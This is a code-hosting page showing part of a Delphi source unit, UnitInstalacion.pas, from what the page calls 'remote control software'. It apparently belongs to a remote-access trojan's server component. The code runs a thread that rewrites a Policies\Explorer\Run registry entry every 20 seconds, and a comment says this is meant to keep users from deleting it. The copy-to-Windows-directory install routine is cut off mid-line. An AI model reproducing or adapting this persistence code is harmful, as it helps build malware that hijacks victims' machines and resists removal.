unitinstalacion.pas

来自「远程控制软件」· PAS 代码 · 共 70 行

PAS
70
字号
unit UnitInstalacion;

interface

uses
  Windows,
  SysUtils,
  TLHelp32,
  ShellApi,
  SettingsDef,
  UnitVariables,
  UnitFunciones,
  UnitFileManager;

procedure Instalar();
procedure Desinstalar();

implementation

var ThreadAutoInicioID: Cardinal;

procedure AutoInicio;
var
  Clave: string;
begin
  while True do
  begin
    if Configuracion.bArranquePolicies then
    begin
      RegWriteKey(HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\', Configuracion.sPoliciesRegKeyName, 1, paramstr(0));
    end;
    Sleep(20000); //20 sec
  end;
end;

procedure CrearThreadAutoInicio;
//Crea un nuevo Thread en el que el server se agrega al auto inicio cada 20 segundos, para que no lo puedan borrar :)
begin
  BeginThread(nil, 0, @AutoInicio, nil, 0, ThreadAutoInicioID);
end;

function TerminarThreadAutoInicio: boolean;
//Cierra el thread
begin
  Result := False;
  if ThreadAutoInicioID > 0 then
  begin
    EndThread(ThreadAutoInicioID);
    Result := True;
  end;
end;

procedure Instalar();
var
  i: Cardinal;
  hProcess: THandle;
  Process32: TProcessEntry32;
  SHandle: THandle;
  Pid: string;
  Next: BOOL;


  FoundFile: TWin32FindData;
  FileTime: TFileTime;

begin
  if Configuracion.bCopiarArchivo then //Si me tengo que copiar entonces...
  begin
    //Reemplaza las rutas adecuadas
    Configuracion.sCopyTo := StringReplace(Configuracion.sCopyTo, '%WinDir%\', FindWindowsDir(), [rfReplaceAll, rfIgnoreCase {Ignora Mayus 

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?